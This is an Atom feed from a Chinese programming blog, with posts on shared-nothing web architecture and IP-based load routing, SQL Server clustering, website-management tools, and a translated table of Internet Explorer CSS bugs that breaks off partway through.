<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_Sandheart----享受学习的过程，品味成功的喜悦！</title><subtitle type="text"/><id>http://feed.cnblogs.com/blog/u/8727/rss</id><updated>2012-01-12T06:44:20Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><generator>CNBlogs BlogServer</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/8727/rss"/><entry><id>http://www.cnblogs.com/Sandheart/archive/2012/01/12/2320610.html</id><title type="text">SNA架构的几种实现方式</title><summary type="text">参考资料: Shared Nothing Architecture与PHP的童话 Shared Nothing Architecture 以往集群架构都采用Session共享模式进行设计，而后PHP等方面提出了SNA架构，主张Session不共享。SNA架构思想，无论对企业应用还是大型互联网站，极大提高了web应用的吞吐量和性能。 一般SNA架构以集成分布式Cache例如 memcached 的方案居多，此处姑且称为 Cache模式。 我结合公司电信项目的情况，以及思考，总结另一种方案，供参考。 SNA思想的关键就是每个集群内web server实例不...</summary><published>2012-01-12T06:44:00Z</published><updated>2012-01-12T06:44:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2012/01/12/2320610.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2012/01/12/2320610.html"/><content type="html">&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;a href="http://www.iteye.com/blogs/tag/%E7%AE%97%E6%B3%95"&gt;&lt;/a&gt;&lt;/div&gt;       &lt;div id="blog_content"&gt;     参考资料: &lt;br /&gt;&lt;a href="http://hideto.iteye.com/blog/133162" target="_blank"&gt;Shared Nothing Architecture与PHP的童话&lt;/a&gt; &lt;br /&gt;&lt;a href="http://askcuix.iteye.com/blog/191262" target="_blank"&gt; Shared Nothing Architecture&lt;/a&gt; &lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp; 以往集群架构都采用Session共享模式进行设计，而后PHP等方面提出了SNA架构，主张Session不共享。SNA架构思想，无论对企业应用还是大型互联网站，极大提高了web应用的吞吐量和性能。 &lt;br /&gt;&amp;nbsp;&amp;nbsp; 一般SNA架构以集成分布式Cache例如 memcached 的方案居多，此处姑且称为 Cache模式。 &lt;br /&gt;&lt;img src="http://raymondhekk.iteye.com/upload/attachment/68156/e940a48b-8726-36ec-b960-4a536e4ecaab.jpg"  alt="" /&gt; &lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp; 我结合公司电信项目的情况，以及思考，总结另一种方案，供参考。 &lt;br /&gt;&amp;nbsp;&amp;nbsp; SNA思想的关键就是每个集群内web  server实例不互相共享session，Cache模式主张session数据都放到分布式缓存中，意味着，逻辑上集群内还是要共享session信 息；这种考虑源于负载均衡时，同一个IP发来的两个请求，可能走到不同的 Web Server上。 &lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp; 因此，只要同一IP的两个请求转发到同一个 Web&amp;nbsp; server实例，那么就可以不需要全局的 session信息缓存。 &lt;br /&gt;&amp;nbsp;&amp;nbsp; 1) 我所在的移动项目下，采用 F5硬件负载均衡器，使用IP记忆机制实现了这一点。因此，各 web server实例的session无需共享，仍然保存在自己的session内存中，节省了网络开销和Cache命中查找时间。 &lt;br /&gt;&amp;nbsp;&amp;nbsp; F5很贵，因此对于网站一般负担不起，但可以采用软件负载来做到这一点。 &lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp; 切分模式的SNA架构： &lt;br /&gt;&amp;nbsp;&amp;nbsp; 2) IP Memory(IP记忆)：负载服务器记录 客户端IP -&amp;gt; ServerID 的关系，模拟F5； &lt;br /&gt;&amp;nbsp;&amp;nbsp; 3) (Dispatch by Rule)按规则转发：IP记忆需要维护一张路由table， 因此，需要消耗一定内存，以及映射关系查找的时间； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 我们将客户端的所有IP看作一个集合 IP Set，按固定规则将其平均分配集群的server实例上去，这样就可以节省路由table的开销。 关键是分配算法，可以考虑的有： &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.1) 简单数值法： IP各节加总 = X, 假定集群实例个数为 N，编号1-N， 那么每次请求选择的目标server id = X mod N。 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.2) hash值法： 有的系统可能想基于 userid 进行请求分配， 那么可以采用 X = hashCode(userid), serverID = X mod N; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 具体情况下， 可以灵活选择使用那个数据项判断请求分配的逻辑。这个思想参考了&amp;nbsp; memcached 的集群管理思想。  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;img src="http://raymondhekk.iteye.com/upload/attachment/68160/c6d27941-2af8-384d-ad06-621b39dbe7b7.jpg"  alt="" /&gt; &lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp; 4) stickySession方式。 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 一般apache等采用这种方式做负载均衡。但必须结合 jvmRoute。 第一次被分配的 web server必须返回一个  jvmRoute在response中，并由 apache 送到客户端浏览器，第二次请求发起时，request信息中将包含 JSESSIONID 和  对应的 jvmRoute， apache根据次找到对应的 server，完成 stickySession机制。 &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 结论： 切分模式的SNA架构，基于规则进行请求转发，可以省去分布式Cache的使用，更进一步的提升系统吞吐量和响应性。   &lt;/div&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/2320610.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2012/01/12/2320610.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Sandheart/archive/2012/01/12/2320569.html</id><title type="text">SQL Server 负载均衡集群(转)</title><summary type="text">SQL Server 负载均衡集群一个应用系统随着业务量的提高,以及访问量和数据流量的快速增长，各个核 心部分的处理性能和计算强度也相应增大，使得单一设备根本无法承担。在此情况下，如果扔掉现有设备去做大量的硬件升级，必将造成现有资源的浪费，而且下一 次业务量的提升，又将导致再一次硬件升级的高额成本投入。于是，负载均衡机制应运而生。 对于应用系统的负载均衡的硬件和软件比比皆是，因为应用服务器上的程序基本上认为是不变化的，而且一般的各个应用服务器上的程序是不交互的。因此应用服务 器的负载均衡非常好做，只需要能够进行分流的软件或者硬件把多个客户端的连接分配到多个应用服务器上去即可。 ...</summary><published>2012-01-12T06:20:00Z</published><updated>2012-01-12T06:20:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2012/01/12/2320569.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2012/01/12/2320569.html"/><content type="html">&lt;div&gt;&lt;strong&gt;SQL Server 负载均衡集群&lt;/strong&gt;&lt;br /&gt;一个应用系统随着业务量的提高,以及访问量和数据流量的快速增长，各个核 心部分的处理性能和计算强度也相应增大，使得单一设备根本无法承担。在此情况下，如果扔掉现有设备去做大量的硬件升级，必将造成现有资源的浪费，而且下一 次业务量的提升，又将导致再一次硬件升级的高额成本投入。于是，负载均衡机制应运而生。         对于应用系统的负载均衡的硬件和软件比比皆是，因为应用服务器上的程序基本上认为是不变化的，而且一般的各个应用服务器上的程序是不交互的。因此应用服务 器的负载均衡非常好做，只需要能够进行分流的软件或者硬件把多个客户端的连接分配到多个应用服务器上去即可。&lt;br /&gt; &amp;nbsp;       因为数据库内的数据是频繁变化的，为了数据的一致性以及锁资源的分配协调等，所以像应用服务器那样只有分流是不够的，各个节点需要频繁的交互。这也是数据库集群软件难做的原因，当然也是卖的贵的原因了。&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Oracle Real Application Clusters&lt;/strong&gt;&lt;br /&gt;  &amp;nbsp;     对于数据库负载均衡，大家最为耳熟能详的就是Oracle RAC了。RAC是双机并行服务器(8i及以前版本称作Oracle  Parallel  Server，OPS)，用来在集群环境下实现多机共享数据库，以保证应用的高可用性，同时可以自动实现并行处理及均分负载，还能实现数据库在故障时的排 错和无断点恢复。它可以自动进行负载平衡、故障修复和规划停机时间，以支持高可用性应用程序。若并行服务器中某节点失效，透明的应用程序容错能够把用户自 动转接到另一节点上继续运行，应用程序在用户没有察觉的情况下继续执行。这使周期性和非周期性发生故障的系统增大了连续可用性。进程的失效可以完全透明地 转移到另一节点上去，通过适当地配置，可以指定所有查询都在客户端进行缓存，这样它们便可以在转移后的节点上重新设置。&lt;img src="http://hiphotos.baidu.com/andonghua2009/pic/item/35a0aa7e4e1f152928388aae.jpg" alt="" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Moebius for SQL Server&lt;/strong&gt;&lt;br /&gt;  &amp;nbsp;     截至到SQL Server  2008，微软还是没有推出负载均衡组件，只能靠第三方软件来实现，好在这个软件是几个从微软出来的人写的，也算是个小小的巧合。说他们是微软出来的并不 是说他们的技术多厉害，而是他们利用SQL Server的一些内部接口把集群做的非常透明，  无论是应用程序的调用还是开发/管理人员的使用都和面对一个数据库一样。&lt;br /&gt; &amp;nbsp;    他们的实现原理是这样的：和SQL  Server镜像一样，每个数据库节点都有自己的数据，也就是无共享磁盘架构。他们称之为&amp;#8220;中间件&amp;#8221;的程序宿主在数据库的内部，每个节点数据库上写入数据 导致数据变化时，SQL  Server会激活&amp;#8220;中间件&amp;#8221;，&amp;#8220;中间件&amp;#8221;把变化的数据同步到其他的节点上。其他节点发生变化也是一样。因为&amp;#8220;中间件&amp;#8221;宿主在数据库内，  所以它能够把每个同步的Session和SQL  Server的Session绑定到一起，也就是使用户的执行和数据的同步成为一个原子操作，从而保证数据在每时每刻都是一致的。因此查询可以随便到每个 机器上去查，从而做到了真正的负载均衡。&lt;br /&gt;&lt;img src="http://www.grqsh.com/images/soft/soft_031.gif" alt="" /&gt;&lt;br /&gt;&lt;br /&gt;数据库集群软件；数据库负载均衡；Moebius for SQL Server ;Moebius 数据库集群；SQl Server数据库集群&lt;a href="http://www.grqsh.com/" target="_blank"&gt;http://www.grqsh.com&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;使用MySql可以看看：&lt;div&gt;http://baike.baidu.com/view/4952022.htm&lt;/div&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/2320569.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2012/01/12/2320569.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Sandheart/archive/2012/01/09/2316983.html</id><title type="text">10种方法让你管理网站更有效率</title><summary type="text">管理和推广一个网站也许是一项辛苦的工作，试试看下面的这 10 种方法会不会帮到你。 10. 使用 PageRank 预估工具来预估 Page Rank 值。Rustybrick 出品的这个和pagerank by Google datacenter都是比较常用的。9. 使用网站速度测试工具来测试你网站的访问速度：这方面可以试试 iwebtool。# Copyright for Jandan.net(http://jandan.net/)8. 在网页配色方案库中寻找适于自己网站的配色方案：这里就有一个。7. 使用一个关键字“指误”产生器：这个东西的作用是产生出一堆拼写错误的关键字列表，这样可以确</summary><published>2012-01-09T04:46:00Z</published><updated>2012-01-09T04:46:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2012/01/09/2316983.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2012/01/09/2316983.html"/><content type="html">管理和推广一个网站也许是一项辛苦的工作，试试看下面的这 10 种方法会不会帮到你。 &#xD;
&lt;p&gt;10. 使用 PageRank 预估工具来预估 Page Rank 值。Rustybrick 出品的&lt;a href="http://www.rustybrick.com/pagerank-prediction.php" target="_blank"&gt;&lt;font color="#2854bb"&gt;这个&lt;/font&gt;&lt;/a&gt;和&lt;a href="http://www.seologs.com/pr-check/pagerank-dc.html" target="_blank"&gt;&lt;font color="#2854bb"&gt;pagerank by Google datacenter&lt;/font&gt;&lt;/a&gt;都是比较常用的。&lt;/p&gt;&#xD;
&lt;p&gt;9. 使用网站速度测试工具来测试你网站的访问速度：这方面可以试试 &lt;a href="http://www.iwebtool.com/speed_test" target="_blank"&gt;&lt;font color="#2854bb"&gt;iwebtool&lt;/font&gt;&lt;/a&gt;。&lt;br /&gt;&lt;font color="#ffffff"&gt;# Copyright for &lt;/font&gt;&lt;a href="http://jandan.net/" rel="external" target="_blank"&gt;&lt;font color="#ffffff"&gt;Jandan.net&lt;/font&gt;&lt;/a&gt;&lt;font color="#ffffff"&gt;(http://jandan.net/)&lt;/font&gt;&lt;br /&gt;8. 在网页配色方案库中寻找适于自己网站的配色方案：&lt;a href="http://www.colorschemer.com/schemes/" target="_blank"&gt;&lt;font color="#2854bb"&gt;这里&lt;/font&gt;&lt;/a&gt;就有一个。&lt;/p&gt;&#xD;
&lt;p&gt;7. 使用一个关键字&amp;#8220;指误&amp;#8221;产生器：这个东西的作用是产生出一堆拼写错误的关键字列表，这样可以确保当你的用户不小心打错字了的时候他们仍然可以正确的访问到结果。你可以在&lt;a href="http://tools.seobook.com/spelling/keywords-typos.cgi" target="_blank"&gt;&lt;font color="#2854bb"&gt;这里&lt;/font&gt;&lt;/a&gt;找到一个。&lt;/p&gt;&#xD;
&lt;p&gt;6. 使用外部链接监视器：总是用 google "link: examplesite.com"的方法来查看谁链接了自己未免太低效了，一个&lt;a href="http://www.earnersforum.com/tools/" target="_blank"&gt;&lt;font color="#2854bb"&gt;链接监视器&lt;/font&gt;&lt;/a&gt;可以让你的工作轻松许多，并且监视任意多个网页。&lt;/p&gt;&#xD;
&lt;p&gt;5. 使用工具来确保你的网站符合 w3c 标准：通过 w3c 的&lt;a href="http://validator.w3.org/" target="_blank"&gt;&lt;font color="#2854bb"&gt;这个&lt;/font&gt;&lt;/a&gt;测试可以让你的网站能被更多的浏览器兼容。&lt;/p&gt;&#xD;
&lt;p&gt;4. 使用Firefox的SEO插件：&lt;a href="http://tools.seobook.com/firefox/seo-for-firefox.html" target="_blank"&gt;&lt;font color="#2854bb"&gt;这个插件&lt;/font&gt;&lt;/a&gt;可以为你实时提供很多有用的信息，包括Page Rank, Age, Yahoo Backlinks, Yahoo .EDU Links, Alexa Ranking, Technorati Ran和del.icio.us Bookmarks等。&lt;/p&gt;&#xD;
&lt;p&gt;3.使用 Keyword 建议工具：一个好的 keyword 建议工具可以让你网站被&amp;#8220;击中&amp;#8221;的次数大大增加，这方面，你可以选用&lt;a href="http://freekeywords.wordtracker.com/" target="_blank"&gt;&lt;font color="#2854bb"&gt;wordtracker&lt;/font&gt;&lt;/a&gt;的，或是&lt;a href="http://marketshare.hitslink.com/report.aspx?qprid=1&amp;amp;qpmr=100&amp;amp;qpdt=1&amp;amp;qpct=3&amp;amp;qpcal=1&amp;amp;qptimeframe=Y&amp;amp;qpsp=2006" target="_blank"&gt;&lt;font color="#2854bb"&gt;marketshare&lt;/font&gt;&lt;/a&gt; 或 &lt;a href="http://www.ovtkeywords.com/" target="_blank"&gt;&lt;font color="#2854bb"&gt;OvtKeywords.com&lt;/font&gt;&lt;/a&gt; 的。&lt;/p&gt;&#xD;
&lt;p&gt;2. 使用搜索引擎 rank 跟踪系统：前面提到的这个&lt;a href="http://www.earnersforum.com/tools/" target="_blank"&gt;&lt;font color="#2854bb"&gt;外部链接监视器&lt;/font&gt;&lt;/a&gt;同样可以监视各个关键字在搜索引擎上的rank，这些数据值得你参考。&lt;/p&gt;&#xD;
&lt;p&gt;1. 一个免费的blog：开设一个blog并在上面持续的推广你的商业计划，你也许将得到意想不到的收获。&lt;/p&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/2316983.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2012/01/09/2316983.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Sandheart/archive/2011/08/09/2131755.html</id><title type="text">IE下css bug集合-翻译自haslayout.net</title><summary type="text">本文地址：http://www.zhangxinxu.com/wordpress/?p=425 来源：haslayout.net 作者：Zoffix Znet 翻译：张鑫旭(http://www.zhangxinxu.com/) 概述 IE浏览器以不支持大量的css 属性出名，同时也因其支持的css属性中存在大量bug。 本页列举了IE下的一些问题，实例样本和一些我们已知的解决方法。 尽管我已经尽力按照它们本来的性质对它们进行分类，仍有许多bug可以分在好几个部分之下，这种情况下，我将会将此bug分在普通bug这一部分。 统计 目前为止。本站点包含46个”普通bug”教程，5个”haslayo</summary><published>2011-08-09T01:45:00Z</published><updated>2011-08-09T01:45:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2011/08/09/2131755.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2011/08/09/2131755.html"/><content type="html">&lt;div&gt;本文地址：&lt;a href="http://www.zhangxinxu.com/wordpress/?p=425"&gt;http://www.zhangxinxu.com/wordpress/?p=425&lt;/a&gt; &lt;div id="link"&gt;来源：&lt;a href="http://www.zhangxinxu.com/wordpress/haslayout.net" target="_blank"&gt;haslayout.net&lt;/a&gt;&lt;br /&gt; 作者：Zoffix Znet&lt;br /&gt; 翻译：&lt;a href="http://www.zhangxinxu.com/"&gt;张鑫旭&lt;/a&gt;(http://www.zhangxinxu.com/) &lt;/div&gt; &lt;p&gt;&lt;strong&gt;概述&lt;/strong&gt;&lt;br /&gt; IE浏览器以不支持大量的css 属性出名，同时也因其支持的css属性中存在大量bug。&lt;/p&gt; &lt;p&gt;本页列举了IE下的一些问题，实例样本和一些我们已知的解决方法。&lt;/p&gt; &lt;p&gt;尽管我已经尽力按照它们本来的性质对它们进行分类，仍有许多bug可以分在好几个部分之下，这种情况下，我将会将此bug分在普通bug这一部分。&lt;/p&gt; &lt;p&gt;&lt;strong&gt;统计&lt;/strong&gt;&lt;br /&gt; 目前为止。本站点包含46个&amp;#8221;普通bug&amp;#8221;教程，5个&amp;#8221;haslayout bug&amp;#8221;教程，6个&amp;#8221;不支持的方法&amp;#8221;教程，一个&amp;#8220;冲突bug&amp;#8221;教程。总共58个教程，70个解决方法。&lt;/p&gt; &lt;p&gt;最近的教程发布于2009年8月19日 15:38:47 星期三&lt;/p&gt; &lt;p&gt;站点包含44个IE6 bug，28个IE7 bug以及19个IE8 bug。&lt;/p&gt; &lt;p&gt;&lt;strong&gt;注意版本&lt;/strong&gt;&lt;br /&gt; 在教程中你会看到诸如&amp;#8220;影响：IE8和所有以下&amp;#8221;或&amp;#8220;修复：所有版本&amp;#8221;。这里的&amp;#8220;所有&amp;#8221;意思是IE6，IE7和IE8。 IE5和IE5.5已经是历史了，本网站没有考虑这些版本的教程和解决方案的。&lt;/p&gt; &lt;p&gt;&lt;strong&gt;普通bug&lt;/strong&gt;&lt;br /&gt; 此部分包含的是那些不能快速定位为其他部分或是可以同时归类到两部分或更多部分的bug。&lt;/p&gt;  &lt;div id="copymeanshidden"&gt; &lt;p&gt;&lt;code&gt;普通IE css bug&lt;/code&gt;&lt;/p&gt; &lt;table border="1" bordercolor="" cellpadding="" cellspacing="0" width="100%"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;th scope="col"&gt;bug名称&lt;/th&gt; &lt;th scope="col"&gt;影响版本&lt;/th&gt; &lt;th scope="col"&gt;描述&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Image-Label-Focus-Bug" target="_blank"&gt;Image Label Focus Bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8,IE7,IE6&lt;/td&gt; &lt;td&gt;&amp;lt;img&amp;gt;元素在&amp;lt;label&amp;gt;元素之内，单击时，焦点不会转移到相应的表单控件&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/No-Auto-Margin-Center-on-Buttons-Inconsistency" target="_blank"&gt;按钮Margin-Auto非居中&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;Button或类似元素并不居中当{ display: block;  margin-left: auto; margin-right: auto;}作用与它 时候且&amp;#8220;宽&amp;#8221;是不明确的&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Incorrect-Float-Shrink-Wrap-Bug" target="_blank"&gt;不正确的浮动收缩-包裹bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;一个浮动元素（设置了clear属性）在另一个浮动元素之后时不能正确的收缩-包裹&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Document-Scrollbars-Overflow-Inconsistency" target="_blank"&gt;overflow滚动条的不一致&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;非常规的在&amp;lt;html&amp;gt;元素上设置overflow属性可能会出现关于&amp;lt;body&amp;gt;元素的overflow bug&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Float-Squeeze-Weird-Gap-Bug" target="_blank"&gt;浮动挤压怪异差距bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;倒数第一个和倒数第二个浮动元素的间距似乎垂直堆叠了&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Float-Squeeze-Duplicate-Last-Character-Bug" target="_blank"&gt;浮动复制最后一个字符bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;浮动元素的最后一个字符被复制&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Empty-Element-Height-Bug" target="_blank"&gt;空元素高度bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;有&amp;#8221;layout&amp;#8221;属性的空元素获得高度&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Form-Control-Double-Margin-Bug" target="_blank"&gt;表单控件的双边距bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;&amp;lt;input&amp;gt;和&amp;lt;textarea&amp;gt;元素上的水平margin&amp;#8220;继承&amp;#8221;于含有margin和layout属性的祖先&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/IE7-1px-Dotted-Border-Appears-As-Dashed-Bug" target="_blank"&gt;IE7 1像素点边框表现为虚线边框&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7&lt;/td&gt; &lt;td&gt;当至少有1边的变宽宽度大于1像素时，1像素的点边框表现为虚线边框&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Relative-Overflow-Failure-Bug" target="_blank"&gt;Relative Overflow失效的bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;含有overflow（hidden或auto）属性的元素的后辈如果含有position:relative属性，则其表现得就像是设置为visible属性一样&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/IE7-Broken-hover-Absolute-Bug" target="_blank"&gt;IE7 :hover&amp;#8220;阻断&amp;#8221;于absolute的bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7&lt;/td&gt; &lt;td&gt;当绝对定位的子元素隐藏不可见的时候，使用:hover改变其left/top值貌似是不管用的。如果其可见，left/top也不会因:hover而改变&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Button-Background-Shift-On-active-Bug" target="_blank"&gt;Button按钮 :active时背景改变bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;当:active状态应用与&amp;lt;button&amp;gt;或&amp;lt;input type=&amp;#8221;submit&amp;#8221; /&amp;gt;时背景会向上像左移动&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a title="地址是：http://haslayout.net/css/Ignored-focus-Bug中的focus前加-" target="_blank"&gt;忽略:focus的bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;当一个包含:focus的选择器在另外一个简单的选择器之后，:focus是被忽略的。&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://www.zhangxinxu.com/wordpress/Invisible%20Hover%20Border%20Bug" target="_blank"&gt;看不见的hover边框bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;当设置了outline，在:hover状态下，下边框要么没有完全显示，要么短了1像素（或是取消了outline）&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Percentage-Padding-Margin-Bug" target="_blank"&gt;Padding/margin百分比bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;与百分比垂直padding特定组合，垂直margin间距似乎会出岔子，在父级的父级设置了padding或border的亦会如此&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Image-Float-Bullet-Chaos-Bug" target="_blank"&gt;图片浮动项目符号混乱bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;在项目列表中含有浮动属性的图片的时候，项目标记（或编号）位置不正确或是压根没有渲染出来&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Non-Inherited-TH-Text-Align-Bug" target="_blank"&gt;TH标签text-align不继承的bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;祖辈的text-align值不会被TH元素继承下来&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/32-Styles-Limitation" target="_blank"&gt;样式文件32的数目限制bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8,IE7,IE6&lt;/td&gt; &lt;td&gt;第32个及其以后的样式文件中的样式一概忽略(i.e. &amp;lt;style&amp;gt;,  &amp;lt;link&amp;gt; 或 @import)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Hover-White-Background-Ignore-Bug" target="_blank"&gt;白色背景hover无效bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7&lt;/td&gt; &lt;td&gt;背景hover后转为白色背景无效&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/IE7-Child-Selector-Comment-Bug" target="_blank"&gt;IE7子选择器注释bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7&lt;/td&gt; &lt;td&gt;一个选择器如果包含子选择器，且在注释之后，是被忽略的&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Star-HTML-Bug" target="_blank"&gt;星号 HTML bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;* html选择器在IE6下不会被无视&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/IE6-important-Ignore-Bug" target="_blank"&gt;IE6 !important忽略bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;如果相当的规则再设置一次，则!important关键字将会被忽略&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/PNG-Image-and-Background-Color-Mismatch" target="_blank"&gt;PNG图片和背景色的不匹配&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8,IE7,IE6&lt;/td&gt; &lt;td&gt;尽管有相同的颜色代码，但是css中的指定的颜色与png图片是有差异的&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/No-Auto-Margin-Center-Pseudo-Bug" target="_blank"&gt;Auto Margin不居中的伪bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8,IE7,IE6&lt;/td&gt; &lt;td&gt;block属性元素设置了两侧的margin auto不居中显示&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/-first-line-important-Rule-Ignore-Bug" target="_blank"&gt;:first-line!important规则无效bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;当使用了!important修饰语后，:first-line内部的伪class完全不起作用&lt;/td&gt; 